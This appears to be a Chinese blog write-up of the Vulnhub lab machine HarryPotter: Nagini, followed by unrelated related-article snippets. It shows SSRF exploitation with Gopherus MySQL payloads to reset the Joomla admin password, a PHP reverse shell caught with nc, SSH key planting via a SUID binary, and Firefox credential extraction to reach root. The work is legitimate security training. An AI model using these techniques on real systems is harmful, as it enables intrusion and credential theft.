看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini
Vulnhub靶机HarryPotter:Nagini渗透测试详解
- Vulnhub靶机介绍:
- Vulnhub靶机下载:
- Vulnhub靶机安装:
- Vulnhub靶机漏洞详解:
- ①:信息收集:
- ②:漏洞发现:
- ③:SSRF漏洞利用:
- ④:网站后台GetShell:
- ⑤:SSH公钥登入:
- ⑥:root提权:
- ⑦:获取魂器(FLAG):
- Vulnhub靶机渗透总结:
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
PS:这个是HarryPotter(哈利波特)
系列一共有三个靶机,这是第二个Nagini
老样子需要获得root
权限找到flag
(这里是魂器)即可。
Vulnhub靶机下载:
官网下载:https://download.vulnhub.com/harrypotter/Nagini.ova
Vulnhub靶机安装:
下载好了把安装包解压 然后使用Oracle VM
打开即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali
里使用arp-scan -l
或者netdiscover
发现主机
渗透机:kali IP :192.168.0.105 靶机IP :192.168.0.100
使用命令:
nmap -sS -sV -A -n -p- 192.168.0.100
发现开启了22
和80
端口,先访问一下哈利波特(经典再现)🆗还是老样子dirb、dirsearch、whatweb、gobuster、nikto、gobuster
等
这里发现了/note.txt
和 /joomla
两个目录依次进行访问 发现是Joomla
的CMS
框架,这里可以使用joomscan
探测(DC3
讲过)
DC3
链接:https://blog.csdn.net/Aluxian_/article/details/123676768?spm=1001.2014.3001.5502
apt-get install joomscan #安装一下
这里发现后台 不知道账号密码先放着 然后下载bak
文件进行查看 得到了一个账号:goblin
但是没密码
②:漏洞发现:
上面note.txt
有提HTTP3
就是这个域名需要用这个来进行访问 所以需要我们来搭建一下(我看网上有些教程没成功)
GitHub项目:https://github.com/cloudflare/quiche
apt-get install cargo #安装 cargo Cargo 是 Rust 的构建系统和包管理器。
cargo bulid --examples #命令使用前先装上 cmakevim /etc/apt/sources.list #换个yuan
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib #重庆大学yuanBlocking waiting for file lock on package cache #报错信息
rm -rf ~/.cargo/.package-cache #这里是装错了报错的解决方法cd quiche/target/debug/examples #安装好了运行
./http3-client https://192.168.0.100 #运行一下 正常来说可以探测到漏洞了
可恶啊 我以为成功了 结果这里又报了个错 说版本太低 搞了半天没搞好 先跳过吧 到时候在研究(会的小伙伴私信一下我也行!)
看了别人的wp
扫出来有个 /internalResourceFeTcher.php
随便测试一下 输入京东:https://www.jd.com/
发现会跳转 存在SSRF
漏洞
③:SSRF漏洞利用:
这里要学个新工具:Gopherus
运行后输入数据库类型 在输入数据库名称,以及执行的语句 然后把生成的payload
放入网页即可执行。
git clone https://github.com/tarunkant/Gopherus.git #使用python2运行
python2 gopherus.py --exploit mysql # mysql数据库
goblin #输入数据库名
show databases; #查询数据库 发现 joomla 数据库接着查表
use joomla;show tables; #使用库查询表
use joomla; select * from joomla_users;site_admin #账号
<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay #密文解不出来echo -n "password" |md5sum #md5 加密
5f4dcc3b5aa765d61d8327deb882cf99 #生成的md5值
use joomla;update joomla_users set password="5f4dcc3b5aa765d61d8327deb882cf99" where username="site_admin";
使用账号和密码:site_admin/password
登入成功!!!
④:网站后台GetShell:
在beez3
编辑修改index.php
使用kali
自带的php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php /root/桌面
nc -lvvp 1234
http://192.168.0.100/joomla/templates/beez3/index.php #访问index.php 让其连接回弹
/bin/bash -i
whoami #查看权限 www-data 低权限 需要提权
⑤:SSH公钥登入:
进入家目录发现两个用户 其中一个存在隐藏文件 查看base64
解码得到密码:Love@lilly
cd /home #发现两个用户hermoine 和snape
cd snape
ls -al #查看隐藏文件
cat .creds.txt #查看文件内容 base64解码
ssh snape@192.168.0.100 #ssh登入snape用户
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.0.100"find / -perm -u=s 2>/dev/null #查询具有suid权限的ssh-keygen #生成SSH私钥 路径在/root/下面
scp id_rsa.pub snape@192.168.15.134:~/ #将私钥文件复制到 snape用户下面
chmod 777 authorized_keys #给权限这里一定要给640 我给的777权限访问拒绝ssh连不进去
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #远程复制到hermoine的ssh目录下
这里没权限,我们先找一下第一个魂器吧 在/var/www/html/
下面
这里就是复制的作用 既然可以复制 那么是不是可以生成公钥传到靶机 然后就不要密码登入了!
PS: 权限要给640
不然登不进去 我开始给的777
改一下就可以了,这里得到了第二个魂器
⑥:root提权:
在~
下面发现了.mozilla
目录里面有个firefox
感觉这里面有隐藏的信息 比如账号密码什么的 使用一个工具:firefox_decrypt
git clone https://github.com/unode/firefox_decrypt.git #如果访问不到就 直接下好了 拖进去cd ~
cp -r .mozilla/ /tmp/.mozilla #复制目录
cd /tmp #进入目录
ls -al #查看隐藏文件
chmod 777 .mozilla/ #赋予权限
python3 -m http.server #开启临时网页wget http://192.168.0.100:8000/.mozilla ##下载到本机
cd firefox_decrypt-mainpython3 firefox_decrypt.py /root/.mozilla/firefox #使用脚本提取(正常来说 肯定ok 我这里不太行 嗨嗨嗨~)
firefox_decrypt
下载:https://github.com/unode/firefox_decrypt
这里发现有个问题 他传出来的html
文件 就导致里面的firefox
访问不了报错(因为他不是文件)
所以这里我们在使用scp
再传一下 按理来说应该有的呀 但是我这里没在firefox
中读出来 很奇怪!
最后又试了 把文件传入靶机 然后在执行 然后python3
报错 算了 已经尽力了 大家会方法就好了 问题不大!
最终得到账号密码:root/@Alohomora
⑦:获取魂器(FLAG):
🆗到这里五个魂器已经都找到了 还差两个 最后一个靶机是二进制的我不太会 所以就先不跟新了!
至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!
Vulnhub靶机渗透总结:
这个靶机难度高,就是有点费时间麻烦 其他都还好
1.信息收集arp-scan -l
获取ip地址 和端口信息 web
扫描工具:nikto,dirb,dirbuster,whatweb,ffuf
等
2.SSRF
漏洞的利用 Gopherus
工具的使用 MD5sum
生成md5
加密值
3.joomscan
工具的使用 以及http3
的搭建(新知识点)
4.网站后台GetShell
以及ssh
私钥登入 scp的简单使用
5.firefox_decrypt
脚本的使用 提取有用信息
HarryPotter
系列第二个靶机,学习到了很多知识点又是收获满满的一天(耶耶耶!)
最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!
相关文章:

看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini
Vulnhub靶机HarryPotter:Nagini渗透测试详解 Vulnhub靶机介绍:Vulnhub靶机下载:Vulnhub靶机安装:Vulnhub靶机漏洞详解:①:信息收集:②:漏洞发现:③:SSRF漏洞利用…...
IPO要收紧?业内人士未予以完全确认
“IPO全面收紧、吃穿住等行业标的基本劝退(除非行业龙头)、科创板第五套标准暂停受理……”在上周末,一篇关于IPO收紧的“小作文”在投行圈内疯狂转发。 距离全面注册制正式实施已过去了5个半月,IPO节奏是否在发生较大变化&#…...
stable difussion Pytorch实现与测试
引言: Stable Diffusion是目前最火的AI绘画工具之一,它是一个免费开源的项目,可以被任何人免费部署和使用。通过Stable Diffusion,可以很轻松的通过文字描述,生成对应的图片。由于它是一个开源项目,开源社区(如:GitHub)中有很多插件和训练好的模型,我们可以直接使用。…...
Redis简述
Redis是什么Redis数据类型Redis应用场景缓存计数器分布式会话排行榜最新列表分布式锁消息队列 Redis出现的问题穿透击穿雪崩 Redis为什么速度快 Redis是什么 redis是一种高速缓存数据库 Redis数据类型 string hash list set zset Redis应用场景 缓存 Redis作为缓存层&…...
Redis 操作List
【分布式】Redis 分布式之List_redissonclient.getlist_比嗨皮兔的博客-CSDN博客 说明 配置文件参考:https://blog.csdn.net/qq_38428623/article/details/123217001?utm_sourceapp&app_version5.1.1&codeapp_1562916241&uLinkIdusr1mkqgl919blen ——…...
多个List 合并变成一个List+一个List 根据某个字段相等的另一个字段相加,并排序变成新的List
List<CurveTimeAndValueDomain> curves new ArrayList<>();for (int i 0; i < columnNames.size(); i){if (columnNames.get(i).equals(PlantConstant.TENDOWNFX) || columnNames.get(i).equals(PlantConstant.TENDOWNQP)) {//10千伏以下 数据 进行缓慢处理cu…...

华为流程体系:流程架构「OES方法」
目录 内容简介 OES方法 端到端的流程 专栏列表 CSDN学院 作者简介 内容简介 今天继续来谈谈华为流程体系中的流程架构。 在前期的内容已经介绍过 POS 流程架构的方法。 这里就先回顾一下 POS 方法的相关内容: 关于 POS,大家可以参看上面的这张图…...
c# 创建一个未定义类的临时对象列表
使用场景:要使用的数据太多,列表/字典无法满足需求,需要传入对象,但是又不想创建模型 new[] 是一种用于创建匿名类型数组的写法。它是 C# 中的一种语法糖,用于简化数组的初始化过程。 在下面代码示例中,ne…...

el-button增加下载功能
vue3和element-plus <el-uploadv-model:file-list"fileList"action"/api/upload"multiple:limit"1":headers"headers" ><el-button type"primary">选择文件</el-button><template #file"{ file …...

prometheus和cAdvisor组合
文章目录 docker内部署PromethuesPrometheuscAdvisorPrometheus和cAdvisor关系配置 docker内部署Promethues Prometheus Prometheus是一个开源的系统监控和报警工具,由SoundCloud开发并在2012年捐赠给了Cloud Native Computing Foundation (CNCF)。它被广泛用于监…...

计算机网络(2) --- 网络套接字UDP
计算机网络(1) --- 网络介绍_哈里沃克的博客-CSDN博客https://blog.csdn.net/m0_63488627/article/details/131967378?spm1001.2014.3001.5501 目录 1.端口号 2.TCP与UDP协议 1.TCP协议介绍 1.TCP协议 2.UDP协议 3.理解 2.网络字节序 发送逻辑…...

Idea 结合docker-compose 发布项目
Idea 结合docker-compose 发布项目 这里写目录标题 Idea 结合docker-compose 发布项目Docker 开启远程访问功能 添加相应端口配置IDEA 链接Docker配置项目 docker-compose.yml本地还需要安装 dockerwin11 安装本地Docker 可能存在问题 Linux内核不是最新 Docker 开启远程访问功…...
django
django学习 初识Django1.安装django2.创建项目2.1 在终端2.2 Pycharm 3. 创建app4.快速上手4.1 再写一个页面4.2 templates模板4.3 静态文件4.3.1 static目录4.3.2 引用静态文件 5.模板语法案例:伪联通新闻中心6.请求和响应案例:用户登录7.数据库操作7.1…...
c++游戏框架
游戏类 class Sprite { public:Sprite(int x, int y, int w, int h, const char* imagePath);~Sprite();void render(SDL_Renderer* renderer);void move(int x, int y); private:SDL_Texture* texture_;SDL_Rect rect_; }; 物理引擎类 class PhysicsEngine { public:Physi…...

v-model绑定checkbox无法动态更新视图
在vue2中使用v-model绑定checkbox <input type"checkbox" v-model"isChecked" :valueisChecked change"handleCheckboxChange" />监听change事件,并在change事件中做一些特殊处理,比如用户在登录时有没有阅读过隐私…...

原生html—摆脱ps、excel 在线绘制财务表格加水印(html绘制表格js加水印)
文章目录 ⭐前言⭐html标签💖table表格的属性💖实现财务报表 ⭐结束 ⭐前言 大家好,我是yma16,本文分享原生html——绘制表格报表加水印。 背景:解决没有ps的情况下使用前端html制作表格报表。 html介绍 HTML…...

微信小程序配置上传多个u-upload上传
微信小程序配置上传多个u-upload上传 使用的是uView框架 微信小程序配置上传多个u-upload上传图片 场景需求:根据PC端配置项追加图片配置 小程序根据配置的图片数量,图片名称,进行上传图片 难度在于 我们不知道用户会追加多少个图片配置字段 …...
python使用win32com库实现对Excel的操作
使用win32com库实现对Excel的操作 1. 引言 在日常工作中,我们经常需要对Excel文件进行操作,例如读取和写入数据、格式化和样式、插入和删除等。而使用Python的win32com库,我们可以通过代码来实现对Excel的自动化操作,提高工作效…...
<Maven>项目依赖导入Maven本地仓库命令
项目工程pom.xml文件打开:查看报错的依赖, 将jar包放在D盘(或者其它路径都可)根目录下,在windows黑窗口执行以下命令; 举例:jar包名称: 1.api-1.0-SNAPSHOT102.jar 2.coms-cache-1.0-SNAPSHOT.jar 命令: mvn install:install-fi…...

爬虫006_python中的运算符_算术运算符_赋值运算符_复合赋值运算符_比较运算符_逻辑运算符_逻辑运算符性能提升---python工作笔记024
首先看加减乘除 然后看这里的 // 是取整数部分,不是四舍五入 然后%这个是取余数 然后**是,几次方那种 指数...
React hook之useRef
React useRef 详解 useRef 是 React 提供的一个 Hook,用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途,下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...
在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能
下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...

UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...

(二)原型模式
原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...